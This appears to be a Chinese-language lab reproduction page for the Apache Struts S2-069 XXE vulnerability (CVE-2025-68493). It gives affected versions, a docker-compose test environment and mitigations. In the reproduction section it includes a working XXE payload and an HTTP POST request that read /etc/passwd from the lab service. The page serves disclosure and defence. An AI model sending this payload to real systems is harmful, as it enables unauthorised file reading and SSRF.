3.3 KiB
Apache Struts S2-069 XML 外部实体注入漏洞 CVE-2025-68493
漏洞描述
Apache Struts 是一个开源的 MVC(Model-View-Controller)Web 应用框架,广泛用于构建 Java EE 企业级 Web 应用程序。它通过简化开发流程、提供强大的标签库和拦截器机制,帮助开发者快速构建结构清晰、可维护性高的动态网站。Struts 2 架构基于 XWork 命令模式框架,支持插件化扩展,并长期作为 Java Web 开发的主流选择之一。
Apache Struts XWork-Core 组件中对 XML 解析器安全选项配置不当,攻击者可利用该漏洞,通过构造恶意的 XML 数据并发送至受影响的 Apache Struts 应用,触发 XML 外部实体注入,进而实现数据泄露、SSRF、拒绝服务等攻击。该漏洞的利用条件是在自定义代码中使用了 com.opensymphony.xwork2.util.DomHelper.parse 危险函数。
注意,该漏洞 Struts 框架默认不受影响,com.opensymphony.xwork2.util 只是一个工具类,DomHelper.parse 需要开发者显式调用,因此影响范围较小。
参考链接:
- https://cwiki.apache.org/confluence/display/WW/S2-069
- http://www.openwall.com/lists/oss-security/2026/01/11/2
- https://xz.aliyun.com/news/91188
漏洞影响
2.0.0 <= Apache Struts <= 2.3.37(EOL)
2.5.0 <= Apache Struts <= 2.5.33(EOL)
6.0.0 <= Apache Struts <= 6.1.0
环境搭建
参考 环境配置 ,执行如下命令启动一个 Struts 2.5.25 服务:
docker-compose up -d
服务启动后,访问 http://your-ip:8080 即可访问主页。
漏洞复现
启动环境后,访问 http://your-ip:8080/demo 即可访问接口。该接口是参考 该文章 创建的一个 XXEAction,用于解析传入的 XML。
Apache Struts XWork-Core 组件在解析 XML 配置时,未对 XML 进行严格的验证和安全配置,导致存在 XML 外部实体注入漏洞。构造一个恶意 XML 实体进行文件读取:
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
POST /demo HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
xmlContent=%3C%3Fxml+version%3D%221.0%22%3F%3E%3C%21DOCTYPE+foo+%5B%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E
漏洞修复
对于暂时无法完成版本升级的用户,可采取以下临时缓解措施:
- 使用自定义 SAXParserFactory:配置系统属性
xwork.saxParserFactory,指定一个默认禁用外部实体的自定义工厂类,阻止恶意外部实体的解析; - 配置 JVM 级别的安全参数:通过设置系统属性禁用 XML 解析器对外部实体的访问,具体配置如下:
-Djavax.xml.accessExternalDTD=""
-Djavax.xml.accessExternalSchema=""
-Djavax.xml.accessExternalStylesheet=""

